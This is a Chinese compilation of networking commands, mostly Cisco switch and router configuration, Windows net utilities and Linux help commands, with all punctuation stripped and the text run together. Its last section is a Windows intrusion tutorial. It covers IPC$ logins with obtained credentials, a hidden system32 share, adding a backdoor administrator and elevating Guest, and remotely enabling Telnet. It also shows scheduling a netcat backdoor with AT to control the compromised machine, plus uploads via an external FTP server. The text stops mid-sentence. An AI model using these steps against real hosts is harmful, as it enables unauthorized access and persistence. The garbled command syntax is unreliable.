各种网络及网络设备命令集锦

各种网络及网络设备命令集锦SWITCHING命令大全SWITCHING命令大全1在基于IOS的交换机上设置主机名/系统名SWITCHCONFIGHOSTNAMEHOSTNAME在基于CLI的交换机上设置主机名/系统名SWITCHENABLESETSYSTEMNAMENAMESTRING2在基于IOS的交换机上设置登录口令SWITCHCONFIGENABLEPASSWORDLEVEL1PASSWORD在基于CLI的交换机上设置登录口令SWITCHENABLESETPASSWORDSWITCHENABLESETENALBEPASS3在基于IOS的交换机上设置远程访问SWITCHCONFIGINTERFACEVLAN1SWITCHCONFIGIFIPADDRESSIPADDRESSNETMASKSWITCHCONFIGIFIPDEFAULTGATEWAYIPADDRESS在基于CLI的交换机上设置远程访问SWITCHENABLESETINTERFACESC0IPADDRESSNETMASKBROADCASTADDRESSSWITCHENABLESETINTERFACESC0VLANSWITCHENABLESETIPROUTEDEFAULTGATEWAY4在基于IOS的交换机上启用和浏览CDP信息SWITCHCONFIGIFCDPENABLESWITCHCONFIGIFNOCDPENABLE为了查看CISCO邻接设备的CDP通告信息SWITCHSHOWCDPINTERFACETYPEMODLE/PORTSWITCHSHOWCDPNEIGHBORSTYPEMODULE/PORTDETAIL在基于CLI的交换机上启用和浏览CDP信息SWITCHENABLESETCDPENABLE|DISABLEMODULE/PORT为了查看CISCO邻接设备的CDP通告信息SWITCHENABLESHOWCDPNEIGHBORSMODULE/PORTVLAN|DUPLEX|CAPABILITIES|DETAIL5基于IOS的交换机的端口描述SWITCHCONFIGIFDESCRIPTIONDESCRIPTIONSTRING基于CLI的交换机的端口描述SWITCHENABLESETPORTNAMEMODULE/NUMBERDESCRIPTIONSTRING6在基于IOS的交换机上设置端口速度SWITCHCONFIGIFSPEED10|100|AUTO在基于CLI的交换机上设置端口速度SWITCHENABLESETPORTSPEEDMOUDLE/NUMBER10|100|AUTOSWITCHENABLESETPORTSPEEDMOUDLE/NUMBER4|16|AUTO7在基于IOS的交换机上设置以太网的链路模式SWITCHCONFIGIFDUPLEXAUTO|FULL|HALF在基于CLI的交换机上设置以太网的链路模式SWITCHENABLESETPORTDUPLEXMODULE/NUMBERFULL|HALF8在基于IOS的交换机上配置静态VLANSWITCHVLANDATABASESWITCHVLANVLANVLANNUMNAMEVLASWITCHVLANEXITSWITCHCONFIGURETERIMINALSWITCHCONFIGINTERFACEINTERFACEMODULE/NUMBERSWITCHCONFIGIFSWITCHPORTMODEACCESSSWITCHCONFIGIFSWITCHPORTACCESSVLANVLANNUMSWITCHCONFIGIFEND在基于CLI的交换机上配置静态VLANSWITCHENABLESETVLANVLANNUMNAMENAMESWITCHENABLESETVLANVLANNUMMODNUM/PORTLIST9在基于IOS的交换机上配置VLAN中继线SWITCHCONFIGINTERFACEINTERFACEMOD/PORTSWITCHCONFIGIFSWITCHPORTMODETRUNKSWITCHCONFIGIFSWITCHPORTTRUNKENCAPSULATIONISL|DOTLQSWITCHCONFIGIFSWITCHPORTTRUNKALLOWEDVLANREMOVEVLANLISTSWITCHCONFIGIFSWITCHPORTTRUNKALLOWEDVLANADDVLANLIST在基于CLI的交换机上配置VLAN中继线SWITCHENABLESETTRUNKMODULE/PORTON|OFF|DESIRABLE|AUTO|NONEGOTIATEVLANRANGEISL|DOTLQ|DOTL0|LANE|NEGOTIATE10在基于IOS的交换机上配置VTP管理域SWITCHVLANDATABASESWITCHVLANVTPDOMAINDOMAINNAME在基于CLI的交换机上配置VTP管理域SWITCHENABLESETVTPDOMAINDOMAINNAME11在基于IOS的交换机上配置VTP模式SWITCHVLANDATABASESWITCHVLANVTPDOMAINDOMAINNAMESWITCHVLANVTPSEVER|CILENT|TRANSPARENTSWITCHVLANVTPPASSWORDPASSWORD在基于CLI的交换机上配置VTP模式SWITCHENABLESETVTPDOMAINDOMAINNAMEMODESEVER|CILENT|TRANSPARENTPASSWORDPASSWORD12在基于IOS的交换机上配置VTP版本SWITCHVLANDATABASESWITCHVLANVTPV2MODE在基于CLI的交换机上配置VTP版本SWITCHENABLESETVTPV2ENABLE13在基于IOS的交换机上启动VTP剪裁SWITCHVLANDATABASESWITCHVLANVTPPRUNING在基于CLI的交换机上启动VTP剪裁SWITCHENABLESETVTPPRUNINGENABLE14在基于IOS的交换机上配置以太信道SWITCHCONFIGIFPORTGROUPGROUPNUMBERDISTRIBUTIONSOURCE|DESTINATION在基于CLI的交换机上配置以太信道SWITCHENABLESETPORTCHANNELMOUDLE/PORTRANGEMODEON|OFF|DESIRABLE|AUTO15在基于IOS的交换机上调整根路径成本SWITCHCONFIGIFSPANNINGTREEVLANVLANLISTCOSTCOST在基于CLI的交换机上调整根路径成本SWITCHENABLESETSPANTREEPORTCOSTMOUDLE/PORTCOSTSWITCHENABLESETSPANTREEPORTVLANCOSTMOUDLE/PORTCOSTCOSTVLANLIST16在基于IOS的交换机上调整端口IDSWITCHCONFIGIFSPANNINGTREEVLANVLANLISTPORTPRIORITYPORTPRIORITY在基于CLI的交换机上调整端口IDSWITCHENABLESETSPANTREEPORTPRIMLDULE/PORTPRIORITYSWITCHENABLESETSPANTREEPORTVLANPRIMODULE/PORTPRIORITYVLANS17在基于IOS的交换机上修改STP时钟SWITCHCONFIGSPANNINGTREEVLANVLANLISTHELLOTIMESECONDSSWITCHCONFIGSPANNINGTREEVLANVLANLISTFORWARDTIMESECONDSSWITCHCONFIGSPANNINGTREEVLANVLANLISTMAXAGESECONDS在基于CLI的交换机上修改STP时钟SWITCHENABLESETSPANTREEHELLOINTERVALVLANSWITCHENABLESETSPANTREEFWDDELAYDELAYVLANSWITCHENABLESETSPANTREEMAXAGEAGINGTIAMEVLAN18在基于IOS的交换机端口上启用或禁用PORTFAST特征SWITCHCONFIGIFSPANNINGTREEPORTFAST在基于CLI的交换机端口上启用或禁用PORTFAST特征SWITCHENABLESETSPANTREEPORTFASTMODULE/PORTENABLE|DISABLE19在基于IOS的交换机端口上启用或禁用UPLINKFAST特征SWITCHCONFIGSPANNINGTREEUPLINKFASTMAXUPDATERATEPKTSPERSECOND在基于CLI的交换机端口上启用或禁用UPLINKFAST特征SWITCHENABLESETSPANTREEUPLINKFASTENABLE|DISABLERATEUPDATERATEALLPROTOCOLSOFF|ON20为了将交换机配置成一个集群的命令交换机,首先要给管理接口分配一个IP地址,然后使用下列命令SWITCHCONFIGCLUSTERENABLECLUSTERNAME21为了从一条中继链路上删除VLAN,可使用下列命令SWITCHENABLECLEARTRUNKMODULE/PORTVLANRANGE22用SHOWVTPDOMAIN显示管理域的VTP参数23用SHOWVTPSTATISTICS显示管理域的VTP参数24在CATALYST交换机上定义TRBRF的命令如下SWITCHENABLESETVLANVLANNAMENAMENAMETYPETRBRFBRIDGEBRIDGENUMSTPIEEE|IBM25在CATALYST交换机上定义TRCRF的命令如下SWITCHENABLESETVLANVLANNUMNAMENAMETYPETRCRFRINGHEXRINGNUM|DECRINGDECIMALRINGNUMPARENTVLANNUM26在创建好TRBRFVLAN之后,就可以给它分配交换机端口对于以太网交换,可以采用如下命令给VLAN分配端口SWITCHENABLESETVLANVLANNUMMODNUM/PORTNUM27命令SHOWSPANTREE显示一个交换机端口的STP状态28配置一个ELAN的LES和BUS,可以使用下列命令ATMCONFIGINTERFACEATMNUMBERSUBINTMULTIOINTATMCONFIGSUBIFLANESERBERBUSETHERNETELANNAME29配置LECSATMCONFIGLANEDATABASEDATABASENAMEATMLANECONFIGDATABADENAMEELAN1NAMESERVERATMADDRESSLES1NSAPADDRESSATMLANECONFIGDATABADENAMEELAN2NAMESERVERATMADDRESSLES2NSAPADDRESSATMLANECONFIGDATABADENAME30创建完数据库后,必须在主接口上启动LECS命令如下ATMCONFIGINTERFACEATMNUMBERATMCONFIGIFLANECONFIGDATABASEDATABASENAMEATMCONFIGIFLANECONFIGAUTOCONFIGATMADDRESS31将每个LEC配置到一个不同的ATM子接口上命令如下ATMCONFIGINTERFACEATMNUMBERSUBINTMULTIPOINTATMCONFIGLANECLIENTETHERNETVLANNUMELANNUM32用SHOWLANESERVER显示LES的状态33用SHOWLANEBUS显示BUS的状态34用SHOWLANEDATABASE显示LECS数据库可内容35用SHOWLANECLIENT显示LEC的状态36用SHOWMODULE显示已安装的模块列表37用物理接口建立与VLAN的连接ROUTERCONFIGURETERMINALROUTERCONFIGINTERFACEMEDIAMODULE/PORTROUTERCONFIGIFDESCRIPTIONDESCRIPTIONSTRINGROUTERCONFIGIFIPADDRESSIPADDRSUBNETMASKROUTERCONFIGIFNOSHUTDOWN38用中继链路来建立与VLAN的连接ROUTERCONFIGINTERFACEMODULE/PORTSUBINTERFACEROUTERCONFIGIGENCAPSULATIONISL|DOTLQVLANNUMBERROUTERCONFIGIFIPADDRESSIPADDRESSSUBNETMASK39用LANE来建立与VLAN的连接ROUTERCONFIGINTERFACEATMMODULE/PORTROUTERCONFIGIFNOIPADDRESSROUTERCONFIGIFATMPVC105QSAALROUTERCONFIGIFATMPVC2016ILNIROUTERCONFIGIFINTERFACEATMMODULE/PORTSUBINTERFACEMULTIPOINTROUTERCONFIGIFIPADDRESSIPADDRESSSUBNETMASKROUTERCONFIGIFLANECLIENTETHERNETELANNUMROUTERCONFIGIFINTERFACEATMMODULE/PORTSUBINTERFACEMULTIPOINTROUTERCONFIGIFIPADDRESSIPADDRESSSUBNETNAMEROUTERCONFIGIFLANECLIENTETHERNETELANNAMEROUTERCONFIGIF40为了在路由处理器上进行动态路由配置,可以用下列IOS命令来进行ROUTERCONFIGIPROUTINGROUTERCONFIGROUTERIPROUTINGPROTOCOLROUTERCONFIGROUTERNETWORKIPNETWORKNUMBERROUTERCONFIGROUTERNETWORKIPNETWORKNUMBER41配置默认路由SWITCHENABLESETIPROUTEDEFAULTGATEWAY42为一个路由处理器分配VLANID,可在接口模式下使用下列命令ROUTERCONFIGINTERFACEINTERFACENUMBERROUTERCONFIGIFMLSRPVLANIDVLANIDNUM43在路由处理器启用MLSPROUTERCONFIGMLSRPIP44为了把一个外置的路由处理器接口和交换机安置在同一个VTP域中ROUTERCONFIGINTERFACEINTERFACENUMBERROUTERCONFIGIFMLSRPVTPDOMAINDOMAINNAME45查看指定的VTP域的信息ROUTERSHOWMLSRPVTPDOMAINVTPDOMAINNAME46要确定RSM或路由器上的管理接口,可以在接口模式下输入下列命令ROUTERCONFIGIFMLSRPMANAGEMENTINTERFACE47要检验MLSRP的配置情况ROUTERSHOWMLSRP48检验特定接口上的MLS配置ROUTERSHOWMLSRPINTERFACEINTERFACENUMBER49为了在MLSSE上设置流掩码而又不想在任一个路由处理器接口上设置访问列表SETMLSFLOWDESTINATION|DESTINATIONSOURCE|FULL50为使MLS和输入访问列表可以兼容，可以在全局模式下使用下列命令ROUTERCONFIGMLSRPIPINPUTACL51当某个交换机的第3层交换失效时，可在交换机的特权模式下输入下列命令SWITCHENABLESETMLSENABLE52若想改变老化时间的值，可在特权模式下输入以下命令SWITCHENABLESETMLSAGINGTIMEAGINGTIME53设置快速老化SWITCHENABLESETMLSAGINGTIMEFASTFASTAGINGTIMEPKT_THRESHOLD54确定那些MLSRP和MLSSE参与了MLS，可先显示交换机引用列表中的内容再确定SWITCHENABLESHOWMLSINCLUDE55显示MLS高速缓存记录SWITCHENABLESHOWMLSENTRY56用命令SHOWINARP显示ARP高速缓存区的内容。57要把路由器配置为HSRP备份组的成员，可以在接口配置模式下使用下面的命令ROUTERCONFIGIFSTANDBYGROUPNUMBERIPIPADDRESS58为了使一个路由器重新恢复转发路由器的角色，在接口配置模式下ROUTERCONFIGIFSTANDYGROUPNUMBERPREEMPT59访问时间和保持时间参数是可配置的ROUTERCONFIGIFSTANDYGROUPNUMBERTIMERSHELLOTIMEHOLDTIME60配置HSRP跟踪ROUTERCONFIGIFSTANDYGROUPNUMBERTRACKTYPENUMBERINTERFACEPRIORITY61要显示HSRP路由器的状态ROUTERSHOWSTANDBYTYPENUMBERGROUPBRIEF62用命令SHOWIPIGMP确定当选的查询器。63启动IP组播路由选择ROUTERCONFIGIPMUTICASTROUTING64启动接口上的PIMDALLLASR1CONFIGIFIPPIMDENSEMODE|SPARSEMODE|SPARSEDENSEMODE65启动稀疏稠密模式下的PIMROUTERIPMULTICASTROUTINGROUTERINTERFACETYPENUMBERROUTERIPPIMSPARSEDENSEMODE66核实PIM的配置DALLASR1SHOWIPPIMINTERFACETYPENUMBERCOUNT67显示PIM邻居DALLASR1SHOWIPNEIGHBORTYPENUMBER68为了配置RP的地址，命令如下DALLASR1IPPIMRPADDRESSIPADDRESSGROUPACCESSLISTNUMBEROVERRIDE69选择一个默认的RPDALLASR1IPPIMRPADDRESS通告RP和它所服务的组范围DALLASR1IPPIMSENDRPANNOUNCETYPENUMBERSCOPETTLGROUPLISTACCESSLISTNUMBER为管理范围组通告RP的地址DALLASR1IPPIMSENDRPANNOUNCEETHERNET0SCOPE16GROUPLIST1DALLASR1ACCESSLIST1PERMIT2660000255255255设定一个RP映像代理DALLASR1IPPIMSENDRPDISCOVERYSCOPETTL核实组到RP的映像DALLASR1SHOWIPPIMRPMAPPINGDALLASR1SHOWIPPIMRPGROUPNAME|GROUPADDRESSMAPPING70在路由器接口上用命令IPMULTICASTTTLTHRESHOLDTTLVALUE设定TTL阀值DALLASR1CONFIGIFIPMULTICASTTTLTHRESHOLDTTLVALUE71用SHOWIPPIMNEIGHBOR显示PIM邻居表。72显示组播通信路由表中的各条记录DALLASR1SHOWIPMROUTEGROUPNAME|GROUPADDRESSSCOURESUMMARYCOUNTACTIVEKBPS73要记录一个路由器接受和发送的全部IP组播包DALLASR1DEBUGIPMPACKETDETAILACCESSLISTGROUP74要在CISCO路由器上配置CGMPDALLASR1CONFIGIFIPCGMP75配置一个组播路由器，使之加入某一个特定的组播组DALLASR1CONFIGIFIPIGMPJOINGROUPGROUPADDRESS76关闭CGMPDALLASR1CONFIGIFNOIPCGMP77启动交换机上的CGMPDALLASR1ENABLESETCGMPENABLE78核实CATALYST交换机上CGMP的配置情况CATALYSTLA1ENABLESHOWCONFIGSETPROMPTCATALYSTLA1SETINTERFACESC0192168112552552550SETCGMPENABLE79CGMP离开的设置DALLAS_SWENABLESETCGMPLEAVE80在CISCO设备上修改控制端口密码R1CONFIGLINECONSOLE0R1CONFIGLINELOGINR1CONFIGLINEPASSWORDLISBONR1CONFIGENABLEPASSWORDLILBAOR1CONFIGLOGINLOCALR1CONFIGUSERNAMESTUDENTPASSWORDCISCO81在CISCO设备上设置控制台及VTY端口的会话超时R1CONFIGLINECONSOLE0R1CONFIGLINEEXECTIMEOUT510R1CONFIGLINEVTY04R1CONFIGLINEEXECTIMEOUT5282在CISCO设备上设定特权级R1CONFIGPRIVILEGECONFIGURELEVEL3USERNAMER1CONFIGPRIVILEGECONFIGURELEVEL3COPYRUNSTARTR1CONFIGPRIVILEGECONFIGURELEVEL3PINGR1CONFIGPRIVILEGECONFIGURELEVEL3SHOWRUNR1CONFIGENABLESECRETLEVEL3CISCO83使用命令PRIVILEGE可定义在该特权级下使用的命令ROUTERCONFIGPRIVILEGEMODELEVELLEVELCOMMAND84设定用户特权级ROUTERCONFIGENABLESECRETLEVEL3DALLASROUTERCONFIGENABLESECRETSANFRANROUTERCONFIGUSERNAMESTUDENTPASSWORDCISCO85标志设置与显示R1CONFIGBANNERMOTDUNAUTHORIZEDACCESSWILLBEPROSECUTED86设置VTY访问R1CONFIGACCESSLIST1PERMIT19216825R1CONFIGLINEVTY04R1CONFIGACCESSCLASS1IN87配置HTTP访问ROUTER3CONFIGACCESSLIST1PERMIT192168107ROUTER3CONFIGIPHTTPSEVERROUTER3CONFIGIPHTTPACCESSCLASS1ROUTER3CONFIGIPHTTPAUTHENTICATIONLOCALROUTER3CONFIGUSERNAMESTUDENTPASSWORDCISCO88要启用HTTP访问，请键入以下命令SWITCHCONFIGIPHTTPSEVER89在基于SET命令的交换机上用SETCL1启动和核实端口安全SWITCHENABLESETPORTSECURITYMOD_NUM/PORT_NUMENABLEMACADDRESSSWITCHENABLESHOWPORTMOD_NUM/PORT_NUM在基于CISCOIOS命令的交换机上启动和核实端口安全SWITCHCONFIGIFPORTSECUREMACMACCOUNTMAXIMUMMACCOUNTSWITCHSHOWMACADDRESSTABLESECURITYTYPEMODULE/PORT90用命令ACCESSLIST在标准通信量过滤表中创建一条记录ROUTERCONFIGACCESSLISTACCESSLISTNUMBERPERMIT|DENYSOURCEADDRESSSOURCEADDRESS91用命令ACCESSLIST在扩展通信量过滤表中创建一条记录ROUTERCONFIGACCESSLISTACCESSLISTNUMBERPERMIT|DENYPROTOCOL|PROTOCOLKEYWORDSOURCESOURCEWILDCARD|ANYDESTINATIONDESTINATIONWILDCARD|ANYPROTOCOLSPECIFICOPTIONSLOG92对于带内路由更新，配置路由更新的最基本的命令格式是R1CONFIGROUTERDISTRIBUTELISTACCESSLISTNUMBER|NAMEINTYPENUMBER93对于带外路由更新，配置路由更新的最基本的命令格式是R1CONFIGROUTERDISTRIBUTELISTACCESSLISTNUMBER|NAMEOUTINTERFACENAMEROUTINGPROCESS|AUTONOMOUSSYSTEMNUMBER94SETSNMP命令选项SETSNMPCOMMUNITYREADONLY|READYWRITE|READWRITEALLCOMMUNITY_STRING95SETSNMPTRAP命令格式如下SETSNMPTRAPENABLE|DISABLEALL|MOUDLE|CLASSIS|BRIDGE|REPEATER|AUTH|VTP|IPPERMIT|VMPS|CONFIG|ENTITY|STPXSETSNMPTRAPRVCR_ADDRRCVR_COMMUNITY96启用SNMPCHASSIS陷阱CONSOLEENABLESETSNMPTRAPENABLECHASSIS97启用所有SNMPCHASSIS陷阱CONSOLEENABLESETSNMPTRAPENABLE98禁用SNMPCHASSIS陷阱CONSOLEENABLESETSNMPTRAPDISABLECHASSIS99给SNMP陷阱接收表加一条记录CONSOLEENABLESETSNMPTRAP19212217342PUBLIC100SHOWSNMP输出结果。101命令SETSNMPRMONENABLE的输出结果。102显示SPAN信息CONSILESHOWSPAN查看完整版本各种网络及网络设备命令集锦WEEKEN200410201313网络经典命令行1最基本，最常用的，测试物理网络的PING1921681088T，参数T是等待用户去中断测试2查看DNS、IP、MAC等AWIN98WINIPCFGBWIN2000以上IPCONFIG/ALLCNSLOOKUP如查看河北的DNSCNSLOOKUPDEFAULTSERVERNSHESJPTTNETCNADDRESS2029916068SERVER20299412则将DNS改为了412POPPCPOPCOMSERVERNSHESJPTTNETCNADDRESS2029916068NONAUTHORITATIVEANSWERNAMEPOPPCPOPCOMADDRESS202991602123网络信使NETSEND计算机名/IP|广播传送内容，注意不能跨网段NETSTOPMESSENGER停止信使服务，也可以在面板服务修改NETSTARTMESSENGER开始信使服务4探测对方对方计算机名，所在的组、域及当前用户名PINGAIPT，只显示NETBIOS名NBTSTATA19216810146比较全的5NETSTATA显示出你的计算机当前所开放的所有端口NETSTATSE比较详细的显示你的网络资料，包括TCP、UDP、ICMP和IP的统计等6探测ARP绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址ARPA7在代理服务器端捆绑IP和MAC地址，解决局域网内盗用IPARPS19216810590050FF6C0875解除网卡的IP与MAC地址的绑定ARPD网卡IP8在网络邻居上隐藏你的计算机NETCONFIGSERVER/HIDDENYESNETCONFIGSERVER/HIDDENNO则为开启9几个NET命令A显示当前工作组服务器列表NETVIEW，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。比如查看这个IP上的共享资源，就可以CNETVIEW192168108在192168108的共享资源资源共享名类型用途注释网站服务DISK命令成功完成。B查看计算机上的用户帐号列表NETUSERC查看网络链接NETUSE例如NETUSEZ192168108MOVIE将这个IP的MOVIE共享目录映射为本地的Z盘D记录链接NETSESSION例如CNETSESSION计算机用户名客户类型打开空闲时间19216810110ROMEWINDOWS2000219500003121921681051ROMEWINDOWS200021950000039命令成功完成。10路由跟踪命令ATRACERTPOPPCPOPCOMBPATHPINGPOPPCPOPCOM除了显示路由外，还提供325S的分析，计算丢失包的11关于共享安全的几个命令A查看你机器的共享资源NETSHAREB手工删除共享NETSHAREC/DNETSHARED/DNETSHAREIPC/DNETSHAREADMIN/D注意后有空格。C增加一个共享CNETSHAREMYMOVIEEDOWNLOADSMOVIE/USERS1MYMOVIE共享成功。同时限制链接用户数为1人。12在DOS行下设置静态IPA设置静态IPCMDNETSHNETSHINTINTERFACEIPINTERFACEIPSETADD“本地链接“STATICIP地址MASKGATEWAYB查看IP设置INTERFACEIPSHOWADDRESS测试MTUPINGFLSIZE服务器IPWEEKEN200410201314教你使用NETSTAT命令NETSTAT命令的功能是显示网络连接、路由表和网络接口信息，可以让用户得知目前都有哪些网络连接正在运作。该命令的一般格式为NETSTAT选项命令中各选项的含义如下A显示所有SOCKET，包括正在监听的。C每隔1秒就重新显示一遍，直到用户中断它。I显示所有网络接口的信息，格式同“IPCONFIGE”。N以网络IP地址代替名称，显示出网络连接情形。R显示核心路由表，格式同“ROUTEE”。T显示TCP协议的连接情况。U显示UDP协议的连接情况。V显示正在进行的工作。例在本地机上使用NETSTAT命令。NETSTATACTIVEINTERNETCONNECTIONS（W/OSERVERS）PROTORECVQSENDQLOCALADDRESSFOREIGNADDRESSSTATEACTIVEUNIXDOMAINSOCKETS（W/OSERVERS）PROTOREFCNTFLAGSTYPESTATEINODEPATHUNIX1STREAMCONNECTED27000000008UNIX1STREAMCONNECTENIX1STREAMCONNECTED10400000001UNIX1STREAMCONNECTED22200000004UNIX1STREAMCONNECTENIX1STREAMCONNECTED271/DEV/LOGUNIX1STREAMCONNECTED225/DEV/LOGUNIX1STREAMCONNECTED223/DEV/LOGUNIX1STREAMCONNECTED203/DEV/LOGUNIX1STREAMCONNECTED105/DEV/LOGNSLOOKUP命令NSLOOKUP命令的功能是查询一台机器的IP地址和其对应的域名。它通常需要一台域名服务器来提供域名服务。如果用户已经设置好域名服务器，就可以用这个命令查看不同主机的IP地址对应的域名。该命令的一般格式为NSLOOKUPIP地址/域名例在本地机上使用NSLOOKUP命令。NSLOOKUPDEFAULTSERVERNAMETLCCOMCNADDRESS192168199在符号“”后面输入要查询的IP地址或域名并回车即可。如果要退出该命令，输入EXIT并回车即可。FINGER命令FINGER命令的功能是查询用户的信息，通常会显示系统中某个用户的用户名、主目录、停滞时间、登录时间、登录SHELL等信息。如果要查询远程机上的用户信息，需要在用户名后面接“主机名”，采用用户名主机名的格式，不过要查询的网络主机需要运行FINGER守护进程。该命令的一般格式为FINGER选项使用者用户主机命令中各选项的含义如下S显示用户的注册名、实际姓名、终端名称、写状态、停滞时间、登录时间等信息。L除了用S选项显示的信息外，还显示用户主目录、登录SHELL、邮件状态等信息，以及用户主目录下的PLAN、PROJECT和FORWARD文件的内容。P除了不显示PLAN文件和PROJECT文件以外，与L选项相同。例在本地机上使用FINGER命令。FINGERXXQLOGINXXQNAMEDIRECTORY/HOME/XXQSHELL/BIN/BASHLASTLOGINTHUJAN12143（CST）ONTTY1NOMAILNOPLANFINGERLOGINNAMETTYIDLELOGINTIMEOFFICEOFFICEPHONEROOTROOT128NOV250917PING命令PING命令用于查看网络上的主机是否在工作，它向该主机发送ICMPECHO_REQUEST包。有时我们想从网络上的某台主机上下载文件，可是又不知道那台主机是否开着，就需要使用PING命令查看。该命令的一般格式为PING选项主机名/IP地址命令中各选项的含义如下C数目在发送指定数目的包后停止。D设定SO_DEBUG的选项。F大量且快速地送网络封包给一台机器，看它的回应。I秒数设定间隔几秒送一个网络封包给一台机器，预设值是一秒送一次。L次数在指定次数内，以最快的方式送封包数据到指定机器（只有超级用户可以使用此选项）。Q不显示任何传送封包的信息，只显示最后的结果。R不经由网关而直接送封包到一台机器，通常是查看本机的网络接口是否有问题。S字节数指定发送的数据字节数，预设值是56，加上8字节的ICMP头，一共是64ICMP数据字节。TURBOLINUX系统提供了大量命令和许多实用工具软件，本书由于篇幅的关系，主要介绍了TURBOLINUX的一些常用命令和实用软件。读者可以使用系统提供的联机帮助手册获取更多的信息。TURBOLINUX系统的联机手册中有大量的可用信息，根据其内容分成若干节。在LINUX联机帮助手册上，几乎每个命令都有说明。因此，当用户对于LINUX上的一个命令不会用或是不太了解时，就请使用联机帮助命令。本章主要介绍几个常用的联机帮助命令。包括MAN查询每个命令的使用方法HELP查询SHELL命令WHEREIS查询某个命令的位置LOCATE查询某个文件的位置MAN命令这个命令应该是每个LINUX系统上都有的。它格式化并显示在线的手册页。通常使用者只要在命令MAN后，输入想要获取的命令的名称（例如LS），MAN就会列出一份完整的说明，其内容包括命令语法、各选项的意义以及相关命令等。该命令的一般形式为MAN选项命令名称命令中各选项的含义分别为M路径指定搜索MAN手册页的路径，通常这个路径由环境变量MANPATH预设，如果在命令行上指定另外的路径，则覆盖MANPATH的设定。P命令指定所使用的分页程序，缺省使用/USR/BIN/LESSIS，在环境变量MANPAGER中预设。S章节由于一个命令名称可能会有很多类别，至于类别，列出如下章节说明1一般使用者的命令2系统调用的命令3C语言函数库的命令4有关驱动程序和系统设备的解释5配置文件的解释6游戏程序的命令7其他的软件或是程序的命令有关系统维护的命令A显示所有的手册页，而不是只显示第一个。D这个选项主要在检查时使用，如果用户加入了一个新的文件，就可以用这个选项检查是否出错，这个选项并不会列出文件内容。F只显示出命令的功能而不显示其中详细的说明文件。PSTRING设定运行的预先处理程序的顺序，共有下列几项EEQNTTBLGGRAPRREFERPPICVVGRINDW不显示手册页，只显示将被格式化和显示的文件所在位置。例如查看CD命令的使用方法。MANCDCD（N）TCLBUILTINCOMMANDSCD（N）_NAMECDCHANGEWORKINGDIRECTORYSYNOPSISCDDIRNAME_DESCRIPTIONCHANGETHECURRENTWORKINGDIRECTORYTODIRNAME,ORTOTHEHOMEDIRECTORY（ASSPECIFIEDINTHEHOMEENVIRONMENTVARIABLE）IFDIRNAMEISNOTGIVENRETURNSANEMPTYSTRINGKEYWORDSWORKINGDIRECTORYTCL1（END）可以按Q键退出MAN命令。HELP命令HELP命令用于查看所有SHELL命令。用户可以通过该命令寻求SHELL命令的用法，只需在所查找的命令后输入HELP命令，就可以看到所查命令的内容了。例如查看OD命令的使用方法。ODHELPWHEREIS命令这个程序的主要功能是寻找一个命令所在的位置。例如，我们最常用的LS命令，它是在/BIN这个目录下的。如果希望知道某个命令存在哪一个目录下，可以用WHEREIS命令来查询。该命令的一般形式为WHEREIS选项命令名说明一般直接使用不加选项的WHEREIS命令，但用户也可根据特殊需要选用它的一些选项。该命令中各选项的含义分别为B只查找二进制文件M查找主要文件S查找来源U查找不常用的记录文件例如查找LS命令在什么目录下。WHEREISLSLS/BIN/LS/USR/MAN/MAN1/LS1WEEKEN200410201316入侵命令详解1NET只要你拥有某IP的用户名和密码，那就用IPC做连接吧这里我们假如你得到的用户是HBX，密码是123456。假设对方IP为127001NETUSE127001IPC123456/USERHBXNULL密码为空退出的命令是NETUSE127001IPC/DELETENETSHARE是查看主机共享资源我们用它建一个秘密共享目录吧NETSHAREMECWINNTSYSTEM32这样这个机器就有了一个名为ME的共享目录，而打开它就是WINNT下的SYSTEM32目录，如果你用WIN2000的系统就知这个目录有多重要了，如果不想要也好办NETSHAREME/DELETE呵呵，没有了，是不是很方便的啊。下面的操作你必须登陆后才可以用登陆的方法就在上面下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户我们加一个HEIBAI的用户密码为LOVECHINANETUSERHEIBAILOVECHINA/ADD只要显示命令成功，那么我们可以把他加入ADMINISTRATOR组了NETLOCALGROUPADMINISTRATORSHEIBAI/ADD这里是讲映射对方的C盘，当然其他盘也可以，只要存在就行了我们这里把对方的C盘映射到本地的Z盘NETUSEZ127001CNETSTARTTELNET这样可以打开对方的TELNET服务这里是将GUEST用户激活，GUEST是NT的默认用户，而且无法删除呢不知道是否这样，我的2000就是删除不了它。NETUSERGUEST/ACTIVEYESNETUSERGUEST/ACTIVENO这样这个GUEST的用户就又被禁用了这里是把一个用户的密码改掉，我们把GUEST的密码改为LOVECHINA，其他用户也可以的。只要有权限就行了呀NETUSERGUESTLOVECHINA有人问到提高权限的问题下面就解决下NETLOCALGROUPADMINISTRATORSGUEST/ADD将GUEST变为ADMINISTRATORNET命令果然强大啊NETVIEW命令看对方开了共享NETUSER是查看所有用户列表，看看哪个用户是和你一样偷跑进来的，给他名给删掉，让他美，NETUSER用户名/DELETE哈哈,他没有了,管他什么是不是管理员呢,不过我们还是查一下管理员组有什么用户吧,这样的用户才对我们有用嘛NETLOCALGROUPADMINISTRATORS就列出管理员组成员了,再查看一下ADMINISTRATOR这个用户，因为这个是创建系统时建出来的，所以要看看他的系统是什么时间创建出来的NETUSERADMINISTRATOR，然后再查看别的管理员用户是什么时间创建的，如果相差太远，那可能是被别人偷偷跑来偷建的，一律DEL，安全第一哦2AT一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢那么需要用AT命令，这里假设你已经登陆了那个服务器。你首先要得到对方的时间，NETTIME127001将会返回一个时间，这里假设时间为121，现在需要新建一个作业，其ID1AT127001123NCEXE这里假设了一个木马，名为NCEXE，这个东西要在对方服务器上这里介绍一下NC，NC是NETCAT的简称，为了方便输入，一般会被改名它是一个TELNET服务，端口为99等到了123就可以连接到对方的99端口这样就给对方种下了木马AT命令功能强大,下面可以打个比方CAT2230STARTCPRETTYBOYMP3新加了一项作业，其作业ID1现在我们新建立了一个任务在2230分系统将自动播放歌曲3TELNET这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口TELNET12700199这样就可以连到对方的99端口那你就可以在对方运行命令了，这个也就是肉鸡4FTP它可以将你的东西传到对方机子上，你可以去申请个支持FTP上传的空间，国内多的是，如果真的找不到，我给WWW51NET，不错的当我们申请完后，约癋TP服务器在上传前需要登陆先，这里我们假设FTP服务器WWW51NET，用户名是HUCJS，密码是654321FTPWWW51NET他会要求输入用户，成功后会要求输入密码下面先说上传，假设你需上传的文件是INDEXHTM，它位于C